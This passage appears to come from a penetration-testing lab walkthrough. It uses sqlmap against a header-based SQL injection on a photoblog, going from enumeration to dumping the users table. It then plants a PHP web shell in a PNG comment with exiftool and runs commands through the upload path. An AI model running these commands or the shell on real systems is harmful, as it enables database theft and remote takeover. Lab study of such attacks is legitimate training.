

## Exploitation with SQLMap

You can also exploit this vulnerability using SQLMap. The syntax is a bit tricky, you need to tell SQLMap where the injection point is using `*`.

This can be done with the following.

```
Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" --banner
```

```
Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" --dbs
```

```
Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog --tables
```

```
Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --columns
```

```
Command: sqlmap -u "http://vulnerable/" --headers="X-Forwarded-For: *" -D photoblog -T users --dump --batch
```

create php file that contains `<?php system($_GET['c']); ?>`

Then we can inject this payload in our image using exiftool `"-comment<=shell.php"` malicious.png

Then check injection by strings `malicious.png | grep system`

Then upload the png file and try following command:

```
http://vulnerable/admin/uploads/1369904954.png/c.php?c=uname%20-a
```